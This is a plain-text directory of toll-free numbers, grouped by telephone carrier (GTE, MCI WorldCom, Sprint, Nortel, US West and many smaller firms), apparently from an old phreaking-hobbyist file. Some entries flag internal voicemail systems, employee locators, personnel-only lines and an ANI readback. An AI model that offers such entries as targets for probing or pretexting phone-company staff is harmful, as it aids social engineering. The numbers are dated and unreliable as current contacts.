Credit Card calls. +1-877-377-BELL BellSouth Mobility. +1-877-464-BELL BellSouth Mobility Employment Line. +1-877-921-BELL BellSouth. +1-877-955-BELL BellSouth Rewards. +1-877-TELEFONE BellSouth. +1-888-201-2355 BellSouth Benefit Enrollment System. +1-888-203-2355 BellSouth. +1-888-327-2355 BellSouth Mobility Area Code Reprogramming Department. +1-888-383-2355 BellSouth Cellular Fraud Prevention Center. +1-888-462-8033 BellSouth COCOT Repair. +1-888-543-2355 BellSouth Internet Business. +1-888-837-1668 BellSouth Telecom Rental Services. + + +------------------------------------------------------------------------------- + Cellular One: +------------------------------------------------------------------------------- + +1-800-270-4444 Cellular One. +1-800-369-2355 Cellular One. +1-800-381-2355 Cellular One. +1-800-487-2355 Cellular One Customer Service. +1-800-514-2355 Cellular One's Welcome line. +1-800-567-2355 Cellular One. +1-800-604-2355 Cellular One. +1-800-670-2355 Communication One (authorized agent of Cellular One) +1-800-CELL-ONE Cellular One. (U.S. only) +1-877-CELLFONE Cellular One's Voicemail Help line. +1-888-345-2355 Cellular One Dispatch. +1-888-522-2355 Cellular One. +1-888-562-2355 Cellular One's Job Hotline. +1-888-681-2355 Cellular One. +1-888-CELLPHONE Cellular One. +1-888-CELLULAR Cellular One Sales Office. + + +------------------------------------------------------------------------------- + GTE: +------------------------------------------------------------------------------- + +1-800-225-5160 GTE Corporation Teleservicing System. +1-800-225-5483 (1-800-CALL-GTE) GTE Long Distance. +1-800-272-3466 GTE Internetworking. +1-800-346-5800 GTE Business Sales Center. +1-800-347-5665 GTE Express. (Cellular) +1-800-366-4834 (1-800-FON-GTE4) GTE Personnel-only question line. (U.S. only) +1-800-366-4835 (1-800-FON-GTE5) GTE Personnel-only question line. +1-800-366-5665 GTE Express. (Cellular) +1-800-413-4233 GTE Education Assistance Program. +1-800-428-8722 GTE Superpages Internet Services. +1-800-445-5288 GTE Business Sales Center. +1-800-445-5586 GTE Conference Connections Billing Department. +1-800-445-7920 GTE Airfone. +1-800-448-3795 GTE. +1-800-472-4565 GTE Internetworking. (U.S. only) +1-800-483-1000 (1-800-GTE-1000) GTE Repair Center. +1-800-483-2273 (1-800-GTE-CARD) GTE Calling Card Services. +1-800-483-3000 GTE Billing Center. +1-800-483-3600 GTE North Customer Billing Center. +1-800-483-4000 GTE California Customer Service Ordering Center. +1-800-483-4839 GTE Business Response Center. +1-800-483-5000 GTE California Business Sales Center. +1-800-483-5288 GTE Headquarters in Irving, TX. +1-800-483-5400 GTE Business Sales Center. +1-800-483-5559 GTE. +1-800-483-5781 GTE Wireless. +1-800-483-7243 (1-800-GTE-PAGE) GTE Paging. +1-800-483-7479 GTE Hawaiian Tel's Business Sales Center. +1-800-483-8494 GTE Long Distance. +1-800-527-2558 GTE Business Response Center. +1-800-643-0997 GTE Bank Card Center. +1-800-670-9320 GTE Paging. +1-800-727-2355 GTE Wireless. +1-800-787-9689 GTE Customer Service. +1-800-826-1311 GTE Billing Center. +1-800-877-5665 GTE Express. (Cellular) +1-800-888-8448 GTE Directory Order Center. +1-800-892-9600 GTE. +1-800-927-3000 GTE Internet. +1-800-AIRFONE GTE Airfone. +1-877-205-7743 GTE National Support Center. +1-877-888-9942 GTE Airfone. +1-877-888-9943 GTE Airfone. +1-877-888-9944 GTE Airfone. +1-877-888-9945 GTE Airfone. +1-877-888-9946 GTE Airfone. +1-877-888-9947 GTE Airfone. +1-877-888-9948 GTE Airfone. +1-877-888-9949 GTE Airfone. +1-877-888-9950 GTE Airfone. +1-877-888-9951 GTE Airfone. +1-888-483-0022 GTE Government Systems. +1-888-483-4555 GTE Internet. +1-888-681-3279 GTE Airfone. +1-888-AIRFONE GTE Airfone. (Talk to people while they're in-flight) + + +------------------------------------------------------------------------------- + Lucent Technologies: +------------------------------------------------------------------------------- + +1-800-222-3111 Lucent Technologies. (St Louis, MO) +1-800-222-6111 Lucent Technologies Consumer Products. +1-800-228-1938 Lucent Technologies Calibration and Repair Services. +1-800-237-0016 Lucent Technologies. +1-800-242-2121 Lucent Technologies (PBX systems info, VMS info on Audix, etc.) +1-800-247-7000 Lucent Technologies. (Expanets) +1-800-289-0609 Lucent Technologies National Customer Care Center. +1-800-322-2016 Lucent Technologies National Customer Care Center. +1-800-342-5677 Lucent Technologies Technical Services Organization. +1-800-344-0223 Lucent Technologies Inside Sales Department at the CRC. +1-800-344-9670 Lucent Technologies National Customer Care Center. +1-800-387-4268 Lucent Technologies. +1-800-4-LUCENT Lucent Technologies. +1-800-432-6600 Lucent Technologies Customer Information Center. +1-800-451-2100 Lucent Technologies Cincinnati Customer Care Center. +1-800-457-1235 Lucent Technologies BCS Publications Center. +1-800-526-2000 Lucent Technologies NSAC. +1-800-56-AUDIX Lucent Technologies. (telephone systems, Definity, AUDIX, etc.) +1-800-628-2888 Lucent Technologies National Customer Care Center. +1-800-643-2353 Lucent Technologies National Customer Care Center. +1-800-811-1802 Lucent Technologies Special Customer Operations. +1-800-821-8204 Lucent Technologies Multi-Media Applications Customer Support. +1-800-822-2000 Lucent Technologies. +1-800-852-0246 Lucent Technologies. +1-877-4-LUCENT Lucent Technologies. +1-888-4-LUCENT Lucent Technologies Canada. +1-888-LUCENT-6 Lucent Technologies Shareholder Services. +1-888-LUCENT-8 Lucent Technologies. + + +------------------------------------------------------------------------------- + MCI WorldCom: +------------------------------------------------------------------------------- + +1-800-225-5888 MCI WorldCom Operator Services. +1-800-254-8991 MCI WorldCom Customer Service. (U.S. only) +1-800-264-1000 MCI WorldCom Customer Service. +1-800-265-5328 MCI's 1-800-COLLECT. Automated collect calls. +1-800-267-7320 Network MCI. +1-800-270-6245 WorldCom VMS. ("Please enter the # sign followed by your BN") +1-800-275-0200 MCI WorldCom Residential/Business Customer Service. +1-800-275-1234 MCI WorldCom. Accepts calling cards for phone calls. +1-800-294-3496 MCI WorldCom. +1-800-333-1000 MCI WorldCom Commercial Customer Service. +1-800-333-2000 MCI WorldCom. +1-800-333-5000 MCI WorldCom Residential Service. +1-800-336-0149 MCI WorldCom Worldwide Customer Care and Global Product Support. +1-800-374-6400 MCI WorldCom Local Customer Service. +1-800-401-9997 MCI WorldCom. +1-800-432-4557 MCI WorldCom Account Services. (U.S. only) +1-800-444-1111 MCI WorldCom's Global Technical Service Center. +1-800-444-3333 MCI WorldCom Customer Service. +1-800-444-4444 MCI WorldCom. +1-800-444-6242 MCI. +1-800-444-6245 MCI Mail Messaging and Technical Support. +1-800-444-7000 MCI WorldCom St. Louis Business Market Sales Office. +1-800-451-7220 MCI WorldCom. +1-800-455-1605 Network MCI System. +1-800-455-2957 Network MCI System. +1-800-455-4215 Network MCI System. +1-800-455-5469 Network MCI System. +1-800-455-6084 Network MCI Interactive Paging Service. +1-800-455-6504 Network MCI System. +1-800-455-6513 Network MCI System. +1-800-455-6780 Network MCI System. +1-800-455-6834 Network MCI System. +1-800-455-7806 Network MCI System. +1-800-455-7854 Network MCI System. +1-800-455-7920 Network MCI System. +1-800-456-0253 MCI WorldCom. +1-800-475-0138 MCI WorldCom. +1-800-475-5628 MCI WorldCom Paging System. +1-800-475-9321 MCI WorldCom. +1-800-483-4929 Network MCI System. +1-800-483-8784 Network MCI System. +1-800-539-2000 MCI WorldCom Business Services. +1-800-554-5778 MCI WorldCom Prepaid Cellular. +1-800-555-4668 Network MCI System. +1-800-627-2355 MCI WorldCom Administrative Offices. +1-800-630-6759 MCI WorldCom. +1-800-637-2255 MCI WorldCom. +1-800-644-NEWS MCI WorldCom Public Relations. +1-800-645-2355 MCI WorldCom. +1-800-666-1904 MCI WorldCom. (U.S. only) +1-800-666-2612 MCI WorldCom Small Business Department. +1-800-666-2613 MCI WorldCom. +1-800-674-2355 MCI WorldCom (calling card calls) +1-800-688-4889 MCI National Relay Service in the U.S. (TTY) +1-800-701-9358 MCI WorldCom. (U.S. only) +1-800-701-9360 MCI WorldCom. (U.S. only) +1-800-724-3624 (1-800-PAGE-MCI) MCI WorldCom Paging System. +1-800-727-5555 MCI Small Business Accounts. (U.S. only) +1-800-749-0800 MCI WorldCom. +1-800-749-9600 MCI WorldCom. +1-800-827-4690 MCI WorldCom Paging System. +1-800-827-4750 MCI WorldCom Paging System. +1-800-827-9983 MCI WorldCom Corporate Accounts. +1-800-827-9987 MCI WorldCom Corporate Accounts. +1-800-864-4060 MCI WorldCom Wholesale Services. +1-800-872-7654 MCI WorldCom's EDI Group. +1-800-876-8581 Network MCI. +1-800-877-9320 Network MCI. +1-800-888-8000 MCI WorldCom automated calling card calls. +1-800-909-3175 MCI WorldCom Pre-paid Card System +1-800-909-3180 MCI WorldCom Pre-paid Card System +1-800-909-3197 MCI. (Spanish) +1-800-933-0902 MCI WorldCom. +1-800-938-6374 MCI WorldCom Customer Service. +1-800-944-0700 MCI WorldCom Wireless. +1-800-947-8642 MCI National Relay Service in the U.S. (voice) +1-800-950-1022 MCI WorldCom Customer Service. +1-800-950-5555 MCI WorldCom. +1-800-999-7700 MCI WorldCom. +1-800-COLLECT MCI WorldCom automated collect calls. +1-800-EVERYDAY MCI WorldCom. +1-800-MCI-LOCAL MCI WorldCom Local Customer Service. +1-800-SUNDAYS MCI WorldCom. +1-800-WORLDCOM WorldCom. +1-877-589-CELL MCI WorldCom Paging System. +1-877-897-CELL MCI WorldCom Cellular Message Center. +1-877-957-CELL MCI WorldCom Paging System. +1-877-958-2355 MCI WorldCom Paging System. +1-877-960-2355 MCI WorldCom Paging System. +1-877-961-2355 MCI WorldCom Paging System. +1-888-575-2355 MCI WorldCom. +1-888-624-2355 MCI WorldCom. +1-888-624-9266 MCI WorldCom Sales Office. +1-888-655-2355 Network MCI Contact. +1-888-724-3624 (1-888-PAGE-MCI) MCI WorldCom Paging System. + + +------------------------------------------------------------------------------- + MT&T: +------------------------------------------------------------------------------- + +1-800-227-7401 MT&T Mpowered PC Member Services. +1-800-422-5978 MT&T Mobility. +1-800-461-5533 MT&T Billing, Accounts and Repairs. +1-800-529-7371 MT&T Data Service. (Repair) +1-800-561-6364 MT&T Data Services. +1-800-565-1881 MT&T Business Customer Service Centre. +1-800-565-4003 MT&T. +1-800-565-4800 MT&T. +1-800-565-5065 MT&T Residence Telemarketing. +1-800-565-6188 MT&T Express. (press "1" for ANI) +1-800-565-7102 MT&T. +1-800-565-CARD MT&T Calling Card Services. +1-800-626-5552 MT&T Data Communications Sales and Repairs. +1-800-665-5614 MT&T. +1-800-688-9811 MT&T. +1-800-722-2121 MT&T Sympatico. +1-800-776-4555 MT&T Business Office. +1-888-334-VALUE MT&T. + + +------------------------------------------------------------------------------- + Nortel Networks: +------------------------------------------------------------------------------- + +(613) 226-5456 Nortel Emergency Technical Assistance Support. (Ottawa Office) +1-800-328-6760 Nortel Networks (Minnetonka, MN) +1-800-461-3196 Nortel Networks (Milton, ON) +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-638-9302 Nortel Networks Customer Care Center. +1-800-665-2827 Nortel Networks Customer Technical Services After Hours Support. +1-800-668-1717 Nortel Networks Global Customer Care Center. +1-800-668-5511 Nortel Networks Customer Repair and Return Services. +1-800-684-2255 Nortel's Meridian Home Office Support/Info. +1-800-684-9996 Nortel Networks Software Applications Status Line. +1-800-833-7477 Nortel Networks. +1-800-896-8944 Nortel Networks. (Fax) +1-800-NORTEL-1 Nortel Networks Information Line for Resellers. +1-877-4-NORTEL Nortel Networks. +1-888-4-NORTEL Nortel Networks VMS. + + +------------------------------------------------------------------------------- + Pacific Bell: +------------------------------------------------------------------------------- + +1-800-228-7102 Pacific Bell Smart Yellow Pages. +1-800-241-3000 Pacific Bell Quickservice. (U.S. Only) +1-800-248-2800 Pacific Bell Smart Yellow Pages. +1-800-286-8111 Pacific Bell Spanish Yellow Pages. +1-800-310-BELL Pacific Bell. (U.S. Only) +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-528-0000 Pacific Bell Business Products. (U.S. Only) +1-800-750-2355 Pacific Bell Customer Service. (U.S. Only) +1-800-782-8353 Pacific Bell (to report any payphone crimes) +1-800-848-8000 Pacific Bell Directory Smart Resource Center. +1-800-933-2355 Fulfillment Plus. (Pacific Bell authorized agent) +1-800-953-4400 Pacific Bell Phone Book Recycling. (California Only) +1-800-PAC-BELL Pacific Bell. (U.S. Only) +1-877-909-BELL Pacific Bell's Customer Service for the Message Center. +1-888-755-2355 Pacific Bell Equipment. +1-888-775-2355 Pacific Bell Equipment. + + +------------------------------------------------------------------------------- + Qwest: +------------------------------------------------------------------------------- + +1-800-256-1410 Qwest Communications Corporate News Bureau. +1-800-460-1111 Qwest Customer Service. +1-800-460-2222 Qwest. +1-800-460-3333 Qwest. +1-800-524-5249 Qwest Communications Customer Service. +1-800-524-7258 Qwest Communications. +1-800-567-7296 Qwest Communications Investor Relations. +1-800-600-9196 Qwest Communications VMS. +1-800-860-2255 Qwest Communications. +1-800-899-7780 Qwest Communications. +1-800-968-1287 Qwest Communications. +1-800-968-3986 Qwest Communications. +1-800-RIDEQWEST Qwest. +1-877-877-7978 Qwest Shareholder Communication Service. +1-888-452-6200 Qwest. +1-888-793-7811 Qwest Communications Career Line. (Job Listings) + + +------------------------------------------------------------------------------- + SaskTel: +------------------------------------------------------------------------------- + +1-800-667-3500 SaskTel Business Solutions. +1-800-667-5801 SaskTel International Head Office. +1-800-667-6840 SaskTel Mobility Customer Service. +1-800-667-6870 SaskTel Mobility Technical Support/Repair. +1-800-667-BELL SaskTel Mobility. +1-800-727-5835 SaskTel Residential Customer Care Centre. +1-800-871-3011 SaskTel Satellite Service. +1-800-900-3638 SaskTel FleetNet 800 and Wireless Data Service. +1-800-975-1969 SaskTel. +1-800-SASKTEL SaskTel Billing and Inquiries. +1-877-337-2445 SaskTel Corporate Affairs. +1-888-226-7788 SaskTel Business Customer Care Centre. + + +------------------------------------------------------------------------------- + Southwestern Bell: +------------------------------------------------------------------------------- + +1-800-225-5792 (1-800-CALL-SWB) SBC Wireless National Services. +1-800-248-8484 SBC Datacom. +1-800-351-7221 SBC Shareowner Services. +1-800-438-5678 Southwestern Bell Lost/Stolen Calling Cards. +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-522-6909 Southwestern Bell Yellow Pages and Advertising Services. +1-800-528-BELL Southwestern Bell Yellow Pages Business Office. +1-800-600-BELL Southwestern Bell (calling card/collect calls) +1-800-792-2665 (1-800-SWB-BOOK) Southwestern Bell Directory Source. +1-800-792-4638 (1-800-SWB-INET) Southwestern Bell Internet Services. +1-800-909-3285 Southwestern Bell Wireless. +1-888-455-2355 Southwestern Bell Long Distance. +1-888-544-8847 Southwestern Bell Quick Service. +1-888-792-3751 Southwestern Bell DSL Service. +1-915-683-9145 Southwestern Bell Employee Locator (Automated) + + +------------------------------------------------------------------------------- + Sprint: +------------------------------------------------------------------------------- + +1-800-210-2273 Sprint Long Distance. +1-800-213-5430 Sprint. +1-800-215-8037 Sprint Solutions Center. +1-800-227-9892 Sprint. +1-800-256-8340 Sprint Canada. +1-800-277-7468 Sprint Phone Card and Collect calls. +1-800-308-MOST Sprint Canada. +1-800-322-3090 Sprint BusinessFlex. +1-800-336-MOST Sprint Canada. +1-800-344-9667 Sprint. +1-800-344-9679 Sprint "Nickel Nights" +1-800-344-9690 Sprint "Nickel Nights" +1-800-348-MOST Sprint Canada. +1-800-349-MOST Sprint Canada. +1-800-359-2255 Sprint Voice Phone Card. +1-800-361-9342 Sprint Canada Customer Service. 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(U.S. only) +1-800-749-MOST Sprint Canada. +1-800-777-4681 (1-800-SPRINT-1) Sprint Paging. +1-800-777-4683 (1-800-SPRINT-3) Sprint Selections. +1-800-801-MOST Sprint Canada. +1-800-810-MOST Sprint Canada. +1-800-827-2200 Sprint Business. +1-800-827-3700 Sprint Long Distance. +1-800-827-4680 Sprint Business. +1-800-827-4685 Sprint's Global One Customer Service Center. +1-800-827-4700 Sprint Long Distance. +1-800-827-4800 Sprint Business Sales Office. +1-800-827-9080 Sprint. +1-800-830-MOST Sprint Canada. +1-800-831-MOST Sprint Canada. +1-800-840-MOST Sprint Canada "The Most" Enrollment. +1-800-841-MOST Sprint Canada. +1-800-843-6678 (1-800-THE-MOST) Sprint Canada. +1-800-859-8888 Sprint Canada Operator. +1-800-873-9350 Sprint Canada. +1-800-874-5069 Sprint Canada. +1-800-877-4453 Sprint Employee News line. (U.S. only. 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(Internet) +1-800-FON-CARD Sprint's automated calling. +1-877-283-2933 Sprint. +1-877-283-2934 Sprint's Business Line. +1-877-283-2935 Sprint Automated Customer Service. +1-877-4-NIGHTS Sprint Nickel Nights. +1-877-4-WEEKENDS Sprint Weekends. +1-877-4-YOURPLAN Sprint BusinessFlex. +1-877-431-EASY Sprint Canada Easy Unlimited. +1-877-508-XTRA Sprint Canada "The Most" Online. +1-877-525-XTRA Sprint Canada "The Most" Online. +1-877-533-XTRA Sprint Canada "The Most" Online. +1-877-537-XTRA Sprint Canada "The Most" Online. +1-877-591-EASY Sprint Canada Easy Unlimited. +1-877-592-EASY Sprint Canada Easy Unlimited. +1-877-597-EASY Sprint Canada Easy Unlimited. +1-877-598-EASY Sprint Canada Easy Unlimited. +1-877-5CONTACT Sprint. +1-877-602-EASY Sprint Canada Easy Unlimited. +1-877-727-5835 Sprint PCS. +1-877-770-7928 Sprint Canada Ascenda. +1-877-901-7400 Sprint Canada Ascenda. +1-877-903-1553 Sprint Canada Ascenda. +1-877-906-MOST Sprint Canada. +1-877-914-XTRA Sprint Canada "The Most" Online. +1-877-931-EASY Sprint Canada Easy Unlimited. +1-877-935-EASY Sprint Canada Easy Unlimited. +1-877-939-EASY Sprint Canada Easy Unlimited. +1-877-940-EASY Sprint Canada Easy Unlimited. +1-877-941-EASY Sprint Canada Easy Unlimited. +1-877-943-EASY Sprint Canada Easy Unlimited. +1-877-945-EASY Sprint Canada Easy Unlimited. +1-877-950-EASY Sprint Canada Easy Unlimited. +1-877-951-EASY Sprint Canada Easy Unlimited. +1-877-953-EASY Sprint Canada Easy Unlimited. +1-877-955-EASY Sprint Canada Easy Unlimited. +1-877-PCS-PERKS Sprint PCS Northwest Airlines Program. +1-888-220-3763 Sprint Canada's "The Most" Online. +1-888-236-EASY Sprint Canada's "The Most" Online. +1-888-254-0701 Sprint Canada's "The Most" Online. +1-888-254-2927 Sprint Canada. +1-888-276-2179 Sprint PCS. +1-888-296-EASY Sprint Canada. +1-888-345-0718 Sprint Canada's "The Most" Online. +1-888-369-DATA Sprint. +1-888-371-EASY Sprint Canada. +1-888-4-SPRINT Sprint Business. +1-888-456-EASY Sprint Canada. +1-888-490-EASY Sprint Canada's "The Most" Online. +1-888-496-EASY Sprint Canada. +1-888-510-EASY Sprint Canada. +1-888-512-EASY Sprint Canada. +1-888-579-EASY Sprint Canada. +1-888-581-EASY Sprint Canada. +1-888-621-EASY Sprint Canada. +1-888-657-EASY Sprint Canada. +1-888-660-EASY Sprint Canada. +1-888-670-EASY Sprint Canada. +1-888-671-EASY Sprint Canada. +1-888-673-EASY Sprint Canada. +1-888-675-EASY Sprint Canada. +1-888-677-7464 EarthLink Sprint. +1-888-680-EASY Sprint Canada's "The Most" Online. +1-888-685-EASY Sprint Canada's "The Most" Online. +1-888-689-EASY Sprint Canada's "The Most" Online. +1-888-690-EASY Sprint Canada's "The Most" Online. +1-888-710-EASY Sprint Canada's "The Most" Online. +1-888-777468-249 (1-888-SPRINT-BIZ) Sprint Business Flex line. +1-888-790-EASY Sprint Canada. +1-888-871-5288 Sprint Canada Customer Service. +1-888-890-2384 Sprint Canada (French) +1-888-998-2288 Sprint Canada (Chinese) +1-888-IN-TOUCH Sprint "Stay in touch" Services. + + +------------------------------------------------------------------------------- + US West: +------------------------------------------------------------------------------- + +(303) 896-7683 US West (Denver), automated job line. +1-800-227-2209 Enterprise US West Employee Help Line. +1-800-238-7848 US West "Air Touch" Cellular. +1-800-244-1111 US West Communications. +1-800-338-0018 US West Direct Yellow Pages. +1-800-422-8793 US West Directory Source. +1-800-455-8706 US West Repair Center for AT&T. +1-800-477-7211 US West Communications Public Access Solutions and Smart Cards. +1-800-4US-WEST US West Card Services. +1-800-626-6611 US West "Air Touch" Cellular Customer Service. +1-800-7US-WEST "Please enter the area code..." +1-800-856-3376 US West Dispatch. (U.S. only) +1-800-879-4357 US West Employee Locator. +1-800-883-6171 US West Completions and Translations. (U.S. only) +1-800-8US-WEST "Please enter the area code..." +1-800-AIRTOUCH US West "Air Touch". +1-800-US-WEST0 "Enter Code." +1-888-4US-WEST US West Home Office Consulting Center. + + +------------------------------------------------------------------------------- + Communications and Telephone Companies: +------------------------------------------------------------------------------- + +1-800-201-0640 Touch 1 Communications. +1-800-222-4444 Armstrong AITS Support Center. (call to report telco outages) +1-800-222-4500 West Tel Services. +1-800-225-2545 Century Telephone Long Distance Calls (Hardy, AR) +1-800-225-5018 Intelephone. +1-800-225-5123 Starnet. +1-800-225-5265 1-800-COLLECT. +1-800-225-5438 IDT Long Distance/Internet Services. +1-800-225-5463 Directory Assistance (800-CALL-INFO) +1-800-231-0989 TTI National Customer Service. (West Palm Beach, FL) +1-800-231-6720 Discounted Telephone Services (Walnut, CA) +1-800-231-8949 ITT. (Key West, FL) +1-800-232-7839 Eastex Telephone After Hours Repair. (Henderson, TX) +1-800-235-4008 Information America's Client Support. (DDT Online) +1-800-236-3075 TDS Telecom Network Management. +1-800-243-0234 Farmstead Telephone. (East Hartford, CT) +1-800-243-8674 NRG Communications (MI) +1-800-245-6088 Colorado Telephone Equipment. (Englewood, CO) +1-800-250-9999 InterMedia Communications Customer Care Center. +1-800-252-5115 Aviation Telephone Directory. (Stanton, CA) +1-800-263-5444 Lexsys Networks, Inc. (Nortel Networks Sales and Service) +1-800-264-2255 InComNet National Telephone and Communications. +1-800-265-9975 Extend Communications Inc. (Bell Authorized Network Partner) +1-800-267-2772 Sitel Canada. +1-800-267-4955 Independent Telephone Services. +1-800-272-6348 1-800-BRAND-IT (Toll Free Vanity Number Provider) +1-800-281-9616 Telephone Pioneers of America. (Denver, CO) +1-800-286-8241 Touch 1 Communications. +1-800-288-2880 OCI Communications. +1-800-292-6441 Directory Advertising (Yellow Pages) +1-800-294-0020 US Tel. (phone repairs and sales) +1-800-321-7036 Aero-Tech Communications. (Lucent and Nortel Dealer) +1-800-321-9998 World Access Canada. +1-800-324-1234 CTI Long Distance Customer Service. +1-800-327-5389 A Target Telecom Discount Long Distance Service. +1-800-327-5389 Discount Long Distance. +1-800-328-2174 Telematic. (these people are phreakymatic) +1-800-333-9967 Communication Options. +1-800-334-2255 GE Information Services Center. +1-800-338-8108 Consolidated Ventura Telephone. +1-800-343-7363 American Telegram (24 Hour Worldwide Telegram Service) +1-800-345-3444 AlternaCall Customer Information Line. +1-800-349-6874 Mr Telephone. (Palmetto, FL) +1-800-354-3360 Yelcot Telephone Company. (Mountain Home, AR) +1-800-355-6245 ATX Telecommunication Services. (Answering Machine) +1-800-356-9968 Yellow Pages Consulting. +1-800-363-3811 Belcom Communications. +1-800-366-4750 Ranco. (Telephone Equipment Systems Service and Repair) +1-800-369-8885 Citizens Communications. (Telephone Company) +1-800-373-2324 McLeodUSA (Telephone directories and service) +1-800-374-5364 Audi Telecommunications Customer Care Center. +1-800-387-0005 Primus Canada. +1-800-387-2837 Dominion Telephone Systems Ltd. +1-800-387-4172 The Canadian Telephone Company Inc. +1-800-392-9857 Standard Payphones of America. (Carlsbad, CA) +1-800-395-4656 ITC Telecom Dispatch Service. +1-800-399-3970 Maritel (Marine Radiotelephone Common Carrier Communication) +1-800-401-0350 FiberNet Telemanagement. (Telephone Company) +1-800-401-4141 FiberNet Telemanagement, Inc. +1-800-405-6543 American Mobile Customer Accounts Support Center. +1-800-422-1199 Broadway Communications. (Long Distance) +1-800-422-2387 Poka-Lambro Telephone. (Tahoka, TX) +1-800-424-6262 ITT Voice Mail. (Meridian Mail) +1-800-426-4000 Pearce Communications. +1-800-433-5853 All-Tel. +1-800-435-7194 Primus (Fax) +1-800-444-2817 Primus Customer Care Center. (Spanish) +1-800-444-9000 Telecom USA. +1-800-453-7638 SNET. (Telephone Company in New Haven, CT) +1-800-453-7638 SNET. (Telephone Company) +1-800-455-5958 ITC Telecom. +1-800-457-0276 Action Telephone. +1-800-462-9791 M Telecom Internet Business Services. +1-800-465-0049 Deutschland Direct Telecom. (German) +1-800-467-2355 Century Tel. +1-800-480-4198 National Communication Network. +1-800-483-2871 Pacific Coast Communications. +1-800-483-4444 FirsTel Advanced Communications Customer Service Center. +1-800-483-5463 800 Ideas.com Incorporated. +1-800-483-6681 StarTec Global Communications. +1-800-494-4884 Primus Trouble Reporting Department. +1-800-521-5422 Group Long Distance (Fort Lauderdale, FL) +1-800-524-4736 National Phone Lines (Hales Corners, WI) +1-800-531-0003 STS Incorporated. (Telephone Company) +1-800-533-4171 Century Tel Repair. +1-800-535-2211 Touch Tone America. (Long Distance Service) +1-800-540-3598 10-10-220 Customer Service. +1-800-540-7903 StarTec Long Distance. (Chinese) +1-800-542-7279 (1-800-LIBRARY) The Teleconnect Dictionary (Telecom Books, etc.) +1-800-544-4660 Plantronics Telephone Headsets. +1-800-545-6188 Hope Telecom. +1-800-545-7000 Komtek Communications. +1-800-555-1212 Toll Free Directory Assistance/Info. (the 411 of toll free) +1-800-555-7665 TelAmerica. +1-800-562-8697 Teledo Telephone Company, Inc. +1-800-562-9880 TCL Network. +1-800-568-5681 Eclypse Telecommunications. +1-800-568-8929 Latin American Enterprise Telephone. (Miami, FL) +1-800-580-5585 WesTel Incorporated Customer Service. +1-800-582-3425 Idealdial Corporation (Colorado) +1-800-588-1111 ActionTel. +1-800-588-2222 ActionTel Customer Service. +1-800-594-3000 Call Home America. +1-800-594-5900 Call Home America (Global Crossing) Customer Service. +1-800-599-7930 Power and Telephone Supply. (Tampa, FL) +1-800-622-4354 Electric Lightwave Network Service Center. +1-800-627-5609 Conquest Customer Service. +1-800-631-3449 Total Tel. +1-800-632-0585 Brant Telephone. +1-800-638-5298 Global Telecom Supplies. (Meridian, Norstar) +1-800-651-2355 MobileTel, Inc. +1-800-654-3373 Hertz Technologies Customer Service. (Long Distance Service) +1-800-658-5600 All-Star Customer Service. +1-800-661-1886 Palco Telecom Inc. (call diverters, lineman test sets, etc.) +1-800-667-7656 Accord Communications Inc. (Lucent PBX and VMB systems, etc.) +1-800-704-7977 Primus Communications. +1-800-722-2300 Nynex President Switchboard. +1-800-727-6874 Network Telephone Services. (Woodland Hills, CA) +1-800-735-3030 Cincinnati Bell Long Distance. +1-800-746-9930 Great Lakes Telephone Corp. +1-800-749-0300 Pilgrim Telephone. +1-800-749-8000 Nextel International. +1-800-768-0015 Call Home America Ultimate 800. +1-800-768-1212 Chester Telephone. +1-800-768-1230 Convergent Communications. +1-800-768-1234 Telecom USA. (10-10-321, 10-10-220 Services) +1-800-768-2800 Call Home America. +1-800-768-7777 Call Home America Ultimate 800. +1-800-777-6842 KPN Telecom. +1-800-788-8588 Working Assets Long Distance. +1-800-8-PRIMUS Primus Customer Service Department. +1-800-805-1000 Total Tel Customer Service. +1-800-808-8348 Global Crossing. +1-800-808-SNET SNET All Distance International Dialing Directory. +1-800-821-1661 InterTel Network Services. +1-800-821-1831 Hamilton Telecommunications. (Telephone Company) +1-800-827-0074 Access Global. +1-800-827-1200 American Directory Service Corporation. (order telephone books) +1-800-827-4707 Office Telecom. +1-800-827-4827 All-Tel Communications. +1-800-827-9940 Access Technical Services Call Routing System. +1-800-827-9950 GE Access Canadian Business Division. +1-800-829-1011 Network Management Center. +1-800-833-2330 Consolidated Ventura. (Tucson, AZ) +1-800-833-2700 Cooperative Communications, Inc. +1-800-833-2700 Cooperative Long Distance Services Inc (Kearny NJ) +1-800-835-7788 US Telecom International. +1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.) +1-800-858-2399 California Oregon (CalOr) Telephone Company. +1-800-861-3743 Global Crossing Speedlink. +1-800-861-3744 Call Home America. +1-800-864-2501 Williams Communications. +1-800-864-8351 Quantum Link Communications. +1-800-872-3369 US WATS. +1-800-872-4018 Century Telephone Long Distance Calls (La Crosse WI) +1-800-882-2691 Atlantic Telesis Group. (Yonkers, NY) +1-800-888-1000 Pilgrim Telephone. +1-800-897-8675 Access Communications, Inc. (Long Distance Service) +1-800-909-3436 Simtel Inc. Independent Payphone Service. (New York/New Jersey) +1-800-909-4945 Computer 411. +1-800-909-5008 LCC Network Services. +1-800-909-5109 Automated Transmitter System. +1-800-922-8992 Trans Global. (Long Distance Service) +1-800-925-1111 TONE. Long Distance. +1-800-925-2289 US Tel Customer Service. +1-800-926-1350 Marketing Directory Services. +1-800-929-1366 Tel-Save. (Long Distance Service) +1-800-930-6644 Canada Reconnect. (Call if Bell cuts your phone service) +1-800-933-6600 Federal TransTel, Inc. +1-800-937-2394 Convergent Communications Billing. +1-800-938-2255 Pilgrim Telephone. (Intimate Connections) +1-800-968-0461 Enterprise Telephone. +1-800-972-0600 US WATS Customer Service. +1-800-991-9900 Brant Telephone. +1-800-999-2222 Pilgrim Telephone. +1-800-ALPHANET Alphanet Solutions. (Telecom Sales) +1-800-EASY-HOME Corporate Image Marketing. (Vanity 800 numbers, etc.) +1-800-FUCK-ATT Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-MCI Pilgrim Telephone. (Automated Collect calls) (U.S. only) +1-800-FUCK-NCR Pilgrim Telephone. +1-800-HI-ITS-ME AlternaCall. (Automated Collect calls in Canada) +1-800-NEXTEL-9 Nextel. +1-800-PRIMUS-1 Primus Canada. 